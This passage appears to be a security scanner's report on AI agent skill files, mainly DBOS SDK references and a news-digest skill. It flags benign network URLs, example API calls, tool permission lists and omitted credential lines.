    For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/culture-index).

skills/daily-news-report/SKILL.md

  • Network accessline 104
    sources:   - id: hn     url: https://news.ycombinator.com
  • Network accessline 105
    - id: hn     url: https://news.ycombinator.com     extract: top_10
  • Network accessline 106
    url: https://news.ycombinator.com
  • Network accessline 107
    extract: top_10   - id: hf_papers     url: https://huggingface.co/papers
  • Network accessline 108
    - id: hf_papers     url: https://huggingface.co/papers     extract: top_voted
  • Network accessline 109
    url: https://huggingface.co/papers
  • Network accessline 230
    URLs:     - https://news.ycombinator.com (Extract Top 10)
  • Network accessline 231
    - https://news.ycombinator.com (Extract Top 10)
  • Network accessline 232
    - https://huggingface.co/papers (Extract top voted papers)
  • Network accessline 266
    input:       urls:         - https://news.ycombinator.com
  • Network accessline 267
    urls:         - https://news.ycombinator.com         - https://huggingface.co/papers
  • Network accessline 268
    - https://news.ycombinator.com
  • Network accessline 269
    - https://huggingface.co/papers

skills/daily-news-report/sources.json

  • Network accessline 10
    "id": "hn",           "name": "Hacker News",           "url": "https://news.ycombinator.com",
  • Network accessline 11
    "name": "Hacker News",           "url": "https://news.ycombinator.com",           "fetch_method": "webfetch",
  • Network accessline 12
    "url": "https://news.ycombinator.com",
  • Network accessline 20
    "id": "hf_papers",           "name": "HuggingFace Papers",           "url": "https://huggingface.co/papers",
  • Network accessline 21
    "name": "HuggingFace Papers",           "url": "https://huggingface.co/papers",           "fetch_method": "webfetch",
  • Network accessline 22
    "url": "https://huggingface.co/papers",
  • Network accessline 32
    "id": "one_useful_thing",           "name": "One Useful Thing",           "url": "https://www.oneusefulthing.org",
  • Network accessline 33
    "name": "One Useful Thing",           "url": "https://www.oneusefulthing.org",           "fetch_method": "webfetch",
  • Network accessline 34
    "url": "https://www.oneusefulthing.org",
  • Network accessline 42
    "id": "paul_graham",           "name": "Paul Graham Essays",           "url": "https://paulgraham.com/articles.html",
  • Network accessline 43
    "name": "Paul Graham Essays",           "url": "https://paulgraham.com/articles.html",           "fetch_method": "webfetch",
  • Network accessline 44
    "url": "https://paulgraham.com/articles.html",
  • Network accessline 58
    "id": "james_clear",           "name": "James Clear 3-2-1",           "url": "https://jamesclear.com/3-2-1",
  • Network accessline 59
    "name": "James Clear 3-2-1",           "url": "https://jamesclear.com/3-2-1",           "fetch_method": "webfetch",
  • Network accessline 60
    "url": "https://jamesclear.com/3-2-1",
  • Network accessline 68
    "id": "fs_blog",           "name": "Farnam Street Brain Food",           "url": "https://fs.blog/brain-food",
  • Network accessline 69
    "name": "Farnam Street Brain Food",           "url": "https://fs.blog/brain-food",           "fetch_method": "webfetch",
  • Network accessline 70
    "url": "https://fs.blog/brain-food",
  • Network accessline 80
    "id": "hackernoon_pm",           "name": "HackerNoon PM",           "url": "https://hackernoon.com/c/product-management",
  • Network accessline 81
    "name": "HackerNoon PM",           "url": "https://hackernoon.com/c/product-management",           "fetch_method": "webfetch",
  • Network accessline 82
    "url": "https://hackernoon.com/c/product-management",
  • Network accessline 90
    "id": "scotthyoung",           "name": "Scott Young Blog",           "url": "https://scotthyoung.com/blog/articles",
  • Network accessline 91
    "name": "Scott Young Blog",           "url": "https://scotthyoung.com/blog/articles",           "fetch_method": "webfetch",
  • Network accessline 92
    "url": "https://scotthyoung.com/blog/articles",
  • Network accessline 106
    "id": "producthunt",           "name": "Product Hunt",           "url": "https://www.producthunt.com",
  • Network accessline 107
    "name": "Product Hunt",           "url": "https://www.producthunt.com",           "fetch_method": "browser",
  • Network accessline 108
    "url": "https://www.producthunt.com",
  • Network accessline 117
    "id": "latent_space",           "name": "Latent Space",           "url": "https://www.latent.space",
  • Network accessline 118
    "name": "Latent Space",           "url": "https://www.latent.space",           "fetch_method": "browser",
  • Network accessline 119
    "url": "https://www.latent.space",
  • Network accessline 134
    "id": "tldr_ai",           "name": "TLDR AI",           "url": "https://tldr.tech/ai",
  • Network accessline 135
    "name": "TLDR AI",           "url": "https://tldr.tech/ai",           "reason": "订阅页面,无文章列表",
  • Network accessline 136
    "url": "https://tldr.tech/ai",
  • Network accessline 141
    "id": "bensbites",           "name": "Ben's Bites",           "url": "https://bensbites.com/archive",
  • Network accessline 142
    "name": "Ben's Bites",           "url": "https://bensbites.com/archive",           "reason": "需要登录/付费墙",
  • Network accessline 143
    "url": "https://bensbites.com/archive",
  • Network accessline 148
    "id": "interconnects",           "name": "Interconnects AI",           "url": "https://interconnects.ai",
  • Network accessline 149
    "name": "Interconnects AI",           "url": "https://interconnects.ai",           "reason": "内容提取失败,Substack 结构问题",
  • Network accessline 150
    "url": "https://interconnects.ai",
  • Network accessline 155
    "id": "beehiiv_rss",           "name": "Beehiiv RSS feeds",           "url": "https://rss.beehiiv.com",
  • Network accessline 156
    "name": "Beehiiv RSS feeds",           "url": "https://rss.beehiiv.com",           "reason": "RSS 抓取困难",
  • Network accessline 157
    "url": "https://rss.beehiiv.com",

skills/data-quality-frameworks/resources/implementation-playbook.md

  • Network accessline 570
    - [Great Expectations Documentation](https://docs.greatexpectations.io/)
  • Network accessline 571
    - [dbt Testing Documentation](https://docs.getdbt.com/docs/build/tests)
  • Network accessline 572
    - [Data Contract Specification](https://datacontract.com/)
  • Network accessline 573
    - [Soda Core](https://docs.soda.io/soda-core/overview.html)

skills/data-storytelling/SKILL.md

  • Network accessline 465
    - [Storytelling with Data (Cole Nussbaumer)](https://www.storytellingwithdata.com/)
  • Network accessline 466
    - [The Pyramid Principle (Barbara Minto)](https://www.amazon.com/Pyramid-Principle-Logic-Writing-Thinking/dp/0273710516)
  • Network accessline 467
    - [Resonate (Nancy Duarte)](https://www.duarte.com/resonate/)

skills/database-cloud-optimization-cost-optimize/resources/implementation-playbook.md

  • Network accessline 427
    <head>     <title>Reservation & Savings Dashboard</title>     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
  • Network accessline 428
    <title>Reservation & Savings Dashboard</title>     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> </head>
  • Network accessline 429
    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
  • Access to secretsline 1117
    [Credential-related source omitted]
  • Network accessline 1346
    <head>     <title>Cloud Cost Dashboard</title>     <script src="https://d3js.org/d3.v7.min.js"></script>
  • Network accessline 1347
    <title>Cloud Cost Dashboard</title>     <script src="https://d3js.org/d3.v7.min.js"></script>     <style>
  • Network accessline 1348
    <script src="https://d3js.org/d3.v7.min.js"></script>

skills/database-design/scripts/schema_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/database-migrations-migration-observability/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Bash WebFetch
  • Network accessline 198
    response = requests.post(
  • Network accessline 295
    response = requests.post(
  • Network accessline 327
    requests.post(self.config['slack']['webhook_url'], json=payload)

skills/database-migrations-sql-migrations/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Bash Grep Glob

skills/datadog-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/dbos-golang/SKILL.md

  • Network accessline 3
    description: "DBOS Go SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing Go code with DBOS, creating workflows and steps, using queues, using the DBOS Clie..." risk: safe source: https
  • Network accessline 4
    risk: safe source: https://docs.dbos.dev/ license: MIT
  • Network accessline 5
    source: https://docs.dbos.dev/
  • Network accessline 93
    func fetchData(ctx context.Context) (string, error) { 	resp, err := http.Get("https://api.example.com/data")
  • Network accessline 94
    resp, err := http.Get("https://api.example.com/data")
  • Network accessline 132
    - https://docs.dbos.dev/
  • Network accessline 133
    - https://github.com/dbos-inc/dbos-transact-golang

skills/dbos-golang/references/advanced-patching.md

  • Network accessline 86
    Reference: [Patching](https://docs.dbos.dev/golang/tutorials/upgrading-workflows#patching)

skills/dbos-golang/references/advanced-versioning.md

  • Network accessline 58
    Reference: [Versioning](https://docs.dbos.dev/golang/tutorials/upgrading-workflows#versioning)

skills/dbos-golang/references/client-enqueue.md

  • Network accessline 65
    Reference: [DBOS Client Enqueue](https://docs.dbos.dev/golang/reference/client#enqueue)

skills/dbos-golang/references/client-setup.md

  • Network accessline 65
    Reference: [DBOS Client](https://docs.dbos.dev/golang/reference/client)

skills/dbos-golang/references/comm-events.md

  • Network accessline 69
    Reference: [Workflow Events](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-events)

skills/dbos-golang/references/comm-messages.md

  • Network accessline 57
    Reference: [Workflow Messaging and Notifications](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-messaging-and-notifications)

skills/dbos-golang/references/comm-streaming.md

  • Network accessline 75
    Reference: [Workflow Streaming](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-streaming)

skills/dbos-golang/references/lifecycle-config.md

  • Network accessline 70
    Reference: [Integrating DBOS](https://docs.dbos.dev/golang/integrating-dbos)

skills/dbos-golang/references/pattern-debouncing.md

  • Network accessline 47
    Reference: [Debouncing Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#debouncing)

skills/dbos-golang/references/pattern-idempotency.md

  • Network accessline 63
    Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-ids-and-idempotency)

skills/dbos-golang/references/pattern-scheduled.md

  • Network accessline 69
    Reference: [Scheduled Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#scheduled-workflows)

skills/dbos-golang/references/pattern-sleep.md

  • Network accessline 52
    Reference: [Durable Sleep](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#durable-sleep)

skills/dbos-golang/references/queue-basics.md

  • Network accessline 53
    Reference: [DBOS Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial)

skills/dbos-golang/references/queue-concurrency.md

  • Network accessline 49
    Reference: [Managing Concurrency](https://docs.dbos.dev/golang/tutorials/queue-tutorial#managing-concurrency)

skills/dbos-golang/references/queue-deduplication.md

  • Network accessline 52
    Reference: [Deduplication](https://docs.dbos.dev/golang/tutorials/queue-tutorial#deduplication)

skills/dbos-golang/references/queue-listening.md

  • Network accessline 49
    Reference: [Listening to Specific Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial#listening-to-specific-queues)

skills/dbos-golang/references/queue-partitioning.md

  • Network accessline 42
    Reference: [Partitioning Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial#partitioning-queues)

skills/dbos-golang/references/queue-priority.md

  • Network accessline 45
    Reference: [Priority](https://docs.dbos.dev/golang/tutorials/queue-tutorial#priority)

skills/dbos-golang/references/queue-rate-limiting.md

  • Network accessline 50
    Reference: [Rate Limiting](https://docs.dbos.dev/golang/tutorials/queue-tutorial#rate-limiting)

skills/dbos-golang/references/step-basics.md

  • Network accessline 15
    func myWorkflow(ctx dbos.DBOSContext, input string) (string, error) { 	// External API call directly in workflow - not checkpointed! 	resp, err := http.Get("https://api.example.com/data")
  • Network accessline 16
    // External API call directly in workflow - not checkpointed! 	resp, err := http.Get("https://api.example.com/data") 	if err != nil {
  • Network accessline 17
    resp, err := http.Get("https://api.example.com/data")
  • Network accessline 30
    func fetchData(ctx context.Context) (string, error) { 	resp, err := http.Get("https://api.example.com/data")
  • Network accessline 31
    resp, err := http.Get("https://api.example.com/data")
  • Network accessline 52
    func myWorkflow(ctx dbos.DBOSContext, input string) (string, error) { 	data, err := dbos.RunAsStep(ctx, func(ctx context.Context) (string, error) { 		resp, err := http.Get("https://api.example.com/data")
  • Network accessline 53
    data, err := dbos.RunAsStep(ctx, func(ctx context.Context) (string, error) { 		resp, err := http.Get("https://api.example.com/data") 		if err != nil {
  • Network accessline 54
    resp, err := http.Get("https://api.example.com/data")
  • Network accessline 81
    Reference: [DBOS Steps](https://docs.dbos.dev/golang/tutorials/step-tutorial)

skills/dbos-golang/references/step-concurrency.md

  • Network accessline 79
    Reference: [Concurrent Steps](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#concurrent-steps)

skills/dbos-golang/references/step-retries.md

  • Network accessline 16
    var lastErr error 	for attempt := 0; attempt < 3; attempt++ { 		resp, err := http.Get("https://api.example.com")
  • Network accessline 17
    for attempt := 0; attempt < 3; attempt++ { 		resp, err := http.Get("https://api.example.com") 		if err == nil {
  • Network accessline 18
    resp, err := http.Get("https://api.example.com")
  • Network accessline 34
    func fetchData(ctx context.Context) (string, error) { 	resp, err := http.Get("https://api.example.com")
  • Network accessline 35
    resp, err := http.Get("https://api.example.com")
  • Network accessline 66
    Reference: [Configurable Retries](https://docs.dbos.dev/golang/tutorials/step-tutorial#configurable-retries)

skills/dbos-golang/references/test-setup.md

  • Network accessline 90
    Reference: [Testing DBOS](https://docs.dbos.dev/golang/tutorials/testing)

skills/dbos-golang/references/workflow-background.md

  • Network accessline 64
    Reference: [Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial)

skills/dbos-golang/references/workflow-constraints.md

  • Network accessline 34
    func fetchData(ctx context.Context) (string, error) { 	// Steps only do external operations 	resp, err := http.Get("https://api.example.com")
  • Network accessline 35
    // Steps only do external operations 	resp, err := http.Get("https://api.example.com") 	if err != nil {
  • Network accessline 36
    resp, err := http.Get("https://api.example.com")
  • Network accessline 68
    Reference: [Workflow Guarantees](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-guarantees)

skills/dbos-golang/references/workflow-control.md

  • Network accessline 48
    Reference: [Workflow Management](https://docs.dbos.dev/golang/tutorials/workflow-management)

skills/dbos-golang/references/workflow-determinism.md

  • Network accessline 51
    Reference: [Workflow Determinism](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#determinism)

skills/dbos-golang/references/workflow-introspection.md

  • Network accessline 64
    Reference: [Workflow Management](https://docs.dbos.dev/golang/tutorials/workflow-management#listing-workflows)

skills/dbos-golang/references/workflow-timeout.md

  • Network accessline 38
    Reference: [Workflow Timeouts](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-timeouts)

skills/dbos-python/SKILL.md

  • Network accessline 3
    description: "DBOS Python SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing Python code with DBOS, creating workflows and steps, using queues, using DBOSC..." risk: safe source: https
  • Network accessline 4
    risk: safe source: https://docs.dbos.dev/ license: MIT
  • Network accessline 5
    source: https://docs.dbos.dev/
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 72
    @DBOS.step() def call_external_api():     return requests.get("https://api.example.com").json()
  • Network accessline 74
    return requests.get("https://api.example.com").json()
  • Network accessline 101
    - https://docs.dbos.dev/
  • Network accessline 102
    - https://github.com/dbos-inc/dbos-transact-py

skills/dbos-python/references/advanced-async.md

  • Network accessline 30
    @DBOS.step() async def fetch_async():     async with aiohttp.ClientSession() as session:
  • Network accessline 31
    async def fetch_async():     async with aiohttp.ClientSession() as session:         async with session.get("https://example.com") as response:
  • Network accessline 32
    async with aiohttp.ClientSession() as session:
  • Network accessline 33
    async with session.get("https://example.com") as response:
  • Network accessline 101
    Reference: [Async Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#coroutine-async-workflows)

skills/dbos-python/references/advanced-patching.md

  • Network accessline 68
    Reference: [Patching](https://docs.dbos.dev/python/tutorials/upgrading-workflows#patching)

skills/dbos-python/references/advanced-versioning.md

  • Network accessline 66
    Reference: [Versioning](https://docs.dbos.dev/python/tutorials/upgrading-workflows#versioning)

skills/dbos-python/references/client-enqueue.md

  • Network accessline 54
    Reference: [DBOSClient.enqueue](https://docs.dbos.dev/python/reference/client#enqueue)

skills/dbos-python/references/client-setup.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 57
    Reference: [DBOSClient](https://docs.dbos.dev/python/reference/client)

skills/dbos-python/references/comm-events.md

  • Network accessline 61
    Reference: [Workflow Events](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-events)

skills/dbos-python/references/comm-messages.md

  • Network accessline 56
    Reference: [Workflow Messaging](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-messaging-and-notifications)

skills/dbos-python/references/comm-streaming.md

  • Network accessline 57
    Reference: [Workflow Streaming](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-streaming)

skills/dbos-python/references/lifecycle-config.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 74
    Reference: [DBOS Configuration](https://docs.dbos.dev/python/reference/configuration)

skills/dbos-python/references/lifecycle-fastapi.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 66
    Reference: [DBOS with FastAPI](https://docs.dbos.dev/python/tutorials/workflow-tutorial)

skills/dbos-python/references/pattern-classes.md

  • Network accessline 19
    @DBOS.workflow()  # Won't work without proper setup     def fetch_data(self):         return self.fetch()
  • Network accessline 21
    return self.fetch()
  • Network accessline 40
    @DBOS.step()     def fetch_url(self):         return requests.get(self.url).text
  • Network accessline 42
    return requests.get(self.url).text
  • Network accessline 44
    # Instantiate BEFORE DBOS.launch() example_fetcher = URLFetcher("https://example.com")
  • Network accessline 45
    example_fetcher = URLFetcher("https://example.com")
  • Network accessline 46
    api_fetcher = URLFetcher("https://api.example.com")
  • Network accessline 61
    Reference: [Python Classes](https://docs.dbos.dev/python/tutorials/classes)

skills/dbos-python/references/pattern-debouncing.md

  • Network accessline 59
    Reference: [Debouncing Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#debouncing-workflows)

skills/dbos-python/references/pattern-idempotency.md

  • Network accessline 52
    Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/python/tutorials/workflow-tutorial#workflow-ids-and-idempotency)

skills/dbos-python/references/pattern-scheduled.md

  • Network accessline 56
    Reference: [Scheduled Workflows](https://docs.dbos.dev/python/tutorials/scheduled-workflows)

skills/dbos-python/references/pattern-sleep.md

  • Network accessline 58
    Reference: [Durable Sleep](https://docs.dbos.dev/python/tutorials/workflow-tutorial#durable-sleep)

skills/dbos-python/references/queue-basics.md

  • Network accessline 60
    Reference: [DBOS Queues](https://docs.dbos.dev/python/tutorials/queue-tutorial)

skills/dbos-python/references/queue-concurrency.md

  • Network accessline 57
    Reference: [Managing Concurrency](https://docs.dbos.dev/python/tutorials/queue-tutorial#managing-concurrency)

skills/dbos-python/references/queue-deduplication.md

  • Network accessline 51
    Reference: [Queue Deduplication](https://docs.dbos.dev/python/tutorials/queue-tutorial#deduplication)

skills/dbos-python/references/queue-listening.md

  • Access to secretsline 42
    [Credential-related source omitted]
  • Network accessline 64
    Reference: [Explicit Queue Listening](https://docs.dbos.dev/python/tutorials/queue-tutorial#explicit-queue-listening)

skills/dbos-python/references/queue-partitioning.md

  • Network accessline 62
    Reference: [Partitioning Queues](https://docs.dbos.dev/python/tutorials/queue-tutorial#partitioning-queues)

skills/dbos-python/references/queue-priority.md

  • Network accessline 62
    Reference: [Queue Priority](https://docs.dbos.dev/python/tutorials/queue-tutorial#priority)

skills/dbos-python/references/queue-rate-limiting.md

  • Network accessline 55
    Reference: [Rate Limiting](https://docs.dbos.dev/python/tutorials/queue-tutorial#rate-limiting)

skills/dbos-python/references/step-basics.md

  • Network accessline 18
    def my_workflow():     # External API call directly in workflow - not checkpointed!     response = requests.get("https://api.example.com/data")
  • Network accessline 19
    # External API call directly in workflow - not checkpointed!     response = requests.get("https://api.example.com/data")     return response.json()
  • Network accessline 20
    response = requests.get("https://api.example.com/data")
  • Network accessline 29
    @DBOS.step() def fetch_data():     response = requests.get("https://api.example.com/data")
  • Network accessline 30
    def fetch_data():     response = requests.get("https://api.example.com/data")     return response.json()
  • Network accessline 31
    response = requests.get("https://api.example.com/data")
  • Network accessline 53
    Reference: [DBOS Steps](https://docs.dbos.dev/python/tutorials/step-tutorial)

skills/dbos-python/references/step-retries.md

  • Network accessline 18
    for attempt in range(3):         try:             return requests.get("https://api.example.com").json()
  • Network accessline 19
    try:             return requests.get("https://api.example.com").json()         except Exception:
  • Network accessline 20
    return requests.get("https://api.example.com").json()
  • Network accessline 31
    def fetch_data():     # Retries handled automatically     return requests.get("https://api.example.com").json()
  • Network accessline 33
    return requests.get("https://api.example.com").json()
  • Network accessline 44
    Reference: [Configurable Retries](https://docs.dbos.dev/python/tutorials/step-tutorial#configurable-retries)

skills/dbos-python/references/step-transactions.md

  • Network accessline 58
    Reference: [DBOS Transactions](https://docs.dbos.dev/python/reference/decorators#transactions)

skills/dbos-python/references/test-fixtures.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 63
    Reference: [Testing DBOS](https://docs.dbos.dev/python/tutorials/testing)

skills/dbos-python/references/workflow-background.md

  • Network accessline 58
    Reference: [Starting Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#starting-workflows-in-the-background)

skills/dbos-python/references/workflow-constraints.md

  • Network accessline 70
    Reference: [DBOS Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial)

skills/dbos-python/references/workflow-control.md

  • Network accessline 77
    Reference: [Workflow Management](https://docs.dbos.dev/python/tutorials/workflow-management)

skills/dbos-python/references/workflow-determinism.md

  • Network accessline 53
    Reference: [Workflow Determinism](https://docs.dbos.dev/python/tutorials/workflow-tutorial#determinism)

skills/dbos-python/references/workflow-introspection.md

  • Network accessline 68
    Reference: [Workflow Management](https://docs.dbos.dev/python/tutorials/workflow-management)

skills/dbos-python/references/workflow-timeout.md

  • Network accessline 59
    Reference: [Workflow Timeouts](https://docs.dbos.dev/python/tutorials/workflow-tutorial#workflow-timeouts)

skills/dbos-typescript/SKILL.md

  • Network accessline 3
    description: "DBOS TypeScript SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing TypeScript code with DBOS, creating workflows and steps, using queues, usi..." risk: safe source: https
  • Network accessline 4
    risk: safe source: https://docs.dbos.dev/ license: MIT
  • Network accessline 5
    source: https://docs.dbos.dev/
  • Network accessline 80
    async function fetchData() {   return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 81
    return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 110
    - https://docs.dbos.dev/
  • Network accessline 111
    - https://github.com/dbos-inc/dbos-transact-ts

skills/dbos-typescript/references/advanced-patching.md

  • Network accessline 72
    Reference: [Patching](https://docs.dbos.dev/typescript/tutorials/upgrading-workflows#patching)

skills/dbos-typescript/references/advanced-versioning.md

  • Network accessline 61
    Reference: [Versioning](https://docs.dbos.dev/typescript/tutorials/upgrading-workflows#versioning)

skills/dbos-typescript/references/client-enqueue.md

  • Network accessline 75
    Reference: [DBOS Client Enqueue](https://docs.dbos.dev/typescript/reference/client#enqueue)

skills/dbos-typescript/references/client-setup.md

  • Network accessline 60
    Reference: [DBOS Client](https://docs.dbos.dev/typescript/reference/client)

skills/dbos-typescript/references/comm-events.md

  • Network accessline 57
    Reference: [Workflow Events](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-events)

skills/dbos-typescript/references/comm-messages.md

  • Network accessline 55
    Reference: [Workflow Messaging](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-messaging-and-notifications)

skills/dbos-typescript/references/comm-streaming.md

  • Network accessline 53
    Reference: [Workflow Streaming](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-streaming)

skills/dbos-typescript/references/lifecycle-config.md

  • Network accessline 47
    Reference: [DBOS Lifecycle](https://docs.dbos.dev/typescript/reference/dbos-class)

skills/dbos-typescript/references/lifecycle-express.md

  • Network accessline 61
    Reference: [Integrating DBOS](https://docs.dbos.dev/typescript/integrating-dbos)

skills/dbos-typescript/references/pattern-classes.md

  • Network accessline 44
    // Can use this.cfg safely - instance is recoverable     const result = await DBOS.runStep(       () => fetch(this.cfg.apiUrl).then(r => r.text()),
  • Network accessline 45
    const result = await DBOS.runStep(       () => fetch(this.cfg.apiUrl).then(r => r.text()),       { name: "callApi" }
  • Network accessline 46
    () => fetch(this.cfg.apiUrl).then(r => r.text()),
  • Network accessline 52
    // Create instances BEFORE DBOS.launch() const worker1 = new MyWorker("worker-us", { apiUrl: "https://us.api.com" });
  • Network accessline 53
    const worker1 = new MyWorker("worker-us", { apiUrl: "https://us.api.com" });
  • Network accessline 54
    const worker2 = new MyWorker("worker-eu", { apiUrl: "https://eu.api.com" });
  • Network accessline 67
    Reference: [Using TypeScript Objects](https://docs.dbos.dev/typescript/tutorials/instantiated-objects)

skills/dbos-typescript/references/pattern-debouncing.md

  • Network accessline 56
    Reference: [Debouncing Workflows](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#debouncing-workflows)

skills/dbos-typescript/references/pattern-idempotency.md

  • Network accessline 53
    Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-ids-and-idempotency)

skills/dbos-typescript/references/pattern-scheduled.md

  • Network accessline 69
    Reference: [Scheduled Workflows](https://docs.dbos.dev/typescript/tutorials/scheduled-workflows)

skills/dbos-typescript/references/pattern-sleep.md

  • Network accessline 59
    Reference: [Durable Sleep](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#durable-sleep)

skills/dbos-typescript/references/queue-basics.md

  • Network accessline 59
    Reference: [DBOS Queues](https://docs.dbos.dev/typescript/tutorials/queue-tutorial)

skills/dbos-typescript/references/queue-concurrency.md

  • Network accessline 53
    Reference: [Managing Concurrency](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#managing-concurrency)

skills/dbos-typescript/references/queue-deduplication.md

  • Network accessline 51
    Reference: [Deduplication](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#deduplication)

skills/dbos-typescript/references/queue-listening.md

  • Network accessline 63
    Reference: [Explicit Queue Listening](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#explicit-queue-listening)

skills/dbos-typescript/references/queue-partitioning.md

  • Network accessline 63
    Reference: [Partitioning Queues](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#partitioning-queues)

skills/dbos-typescript/references/queue-priority.md

  • Network accessline 48
    Reference: [Priority](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#priority)

skills/dbos-typescript/references/queue-rate-limiting.md

  • Network accessline 44
    Reference: [Rate Limiting](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#rate-limiting)

skills/dbos-typescript/references/step-basics.md

  • Network accessline 15
    async function myWorkflowFn() {   // External API call directly in workflow - not checkpointed!   const response = await fetch("https://api.example.com/data");
  • Network accessline 16
    // External API call directly in workflow - not checkpointed!   const response = await fetch("https://api.example.com/data");   return await response.json();
  • Network accessline 17
    const response = await fetch("https://api.example.com/data");
  • Network accessline 26
    async function fetchData() {   return await fetch("https://api.example.com/data").then(r => r.json());
  • Network accessline 27
    return await fetch("https://api.example.com/data").then(r => r.json());
  • Network accessline 40
    async function myWorkflowFn() {   const data = await DBOS.runStep(     () => fetch("https://api.example.com/data").then(r => r.json()),
  • Network accessline 41
    const data = await DBOS.runStep(     () => fetch("https://api.example.com/data").then(r => r.json()),     { name: "fetchData" }
  • Network accessline 42
    () => fetch("https://api.example.com/data").then(r => r.json()),
  • Network accessline 63
    Reference: [DBOS Steps](https://docs.dbos.dev/typescript/tutorials/step-tutorial)

skills/dbos-typescript/references/step-retries.md

  • Network accessline 16
    for (let attempt = 0; attempt < 3; attempt++) {     try {       return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 17
    try {       return await fetch("https://api.example.com").then(r => r.json());     } catch (e) {
  • Network accessline 18
    return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 30
    async function fetchData() {   return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 31
    return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 49
    async function myWorkflowFn() {   const data = await DBOS.runStep(     () => fetch("https://api.example.com").then(r => r.json()),
  • Network accessline 50
    const data = await DBOS.runStep(     () => fetch("https://api.example.com").then(r => r.json()),     { name: "fetchData", retriesAllowed: true, maxAttempts: 10 }
  • Network accessline 51
    () => fetch("https://api.example.com").then(r => r.json()),
  • Network accessline 67
    Reference: [Configurable Retries](https://docs.dbos.dev/typescript/tutorials/step-tutorial#configurable-retries)

skills/dbos-typescript/references/step-transactions.md

  • Network accessline 68
    Reference: [Transactions & Datasources](https://docs.dbos.dev/typescript/tutorials/transaction-tutorial)

skills/dbos-typescript/references/test-setup.md

  • Network accessline 104
    Reference: [Testing & Mocking](https://docs.dbos.dev/typescript/tutorials/testing)

skills/dbos-typescript/references/workflow-background.md

  • Network accessline 54
    Reference: [Starting Workflows in Background](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#starting-workflows-in-the-background)

skills/dbos-typescript/references/workflow-constraints.md

  • Network accessline 33
    async function fetchData() {   // Steps only do external operations   return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 34
    // Steps only do external operations   return await fetch("https://api.example.com").then(r => r.json()); }
  • Network accessline 35
    return await fetch("https://api.example.com").then(r => r.json());
  • Network accessline 65
    Reference: [Workflow Guarantees](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-guarantees)

skills/dbos-typescript/references/workflow-control.md

  • Network accessline 57
    Reference: [Workflow Management](https://docs.dbos.dev/typescript/tutorials/workflow-management)

skills/dbos-typescript/references/workflow-determinism.md

  • Network accessline 54
    Reference: [Workflow Determinism](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#determinism)

skills/dbos-typescript/references/workflow-introspection.md

  • Network accessline 70
    Reference: [Workflow Management](https://docs.dbos.dev/typescript/tutorials/workflow-management)

skills/dbos-typescript/references/workflow-timeout.md

  • Network accessline 39
    Reference: [Workflow Timeouts](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-timeouts)

skills/dbt-transformation-patterns/resources/implementation-playbook.md

  • Network accessline 544
    - [dbt Documentation](https://docs.getdbt.com/)
  • Network accessline 545
    - [dbt Best Practices](https://docs.getdbt.com/guides/best-practices)
  • Network accessline 546
